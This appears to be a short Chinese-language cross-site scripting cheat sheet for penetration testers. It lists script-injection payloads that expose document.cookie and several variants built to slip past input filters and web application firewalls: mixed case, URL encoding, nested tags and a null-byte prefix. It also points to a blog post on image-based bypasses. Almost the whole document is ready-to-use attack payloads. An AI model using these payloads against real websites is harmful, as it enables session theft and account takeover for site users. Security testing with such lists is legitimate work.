XSS常用测试语句

"><script>alert(document.cookie)</script>

编码绕过：

"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3e%3cscript%3ealert(document.cookie)%3c/script%3e
"><scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%00"><script>alert(document.cookie)</script>


其他的：
%3Cscript%3Ealert(%27%B7%B4%C9%E4%D0%CD%BF%E7%D5%BE%B2%E2%CA%D4%27)%3C/script%3E

大小写绕过：
<Script>alert('xxx')</script>


通过图片触发XSS，过WAF
参考链接
https://blog.csdn.net/qq_36304918/article/details/112447095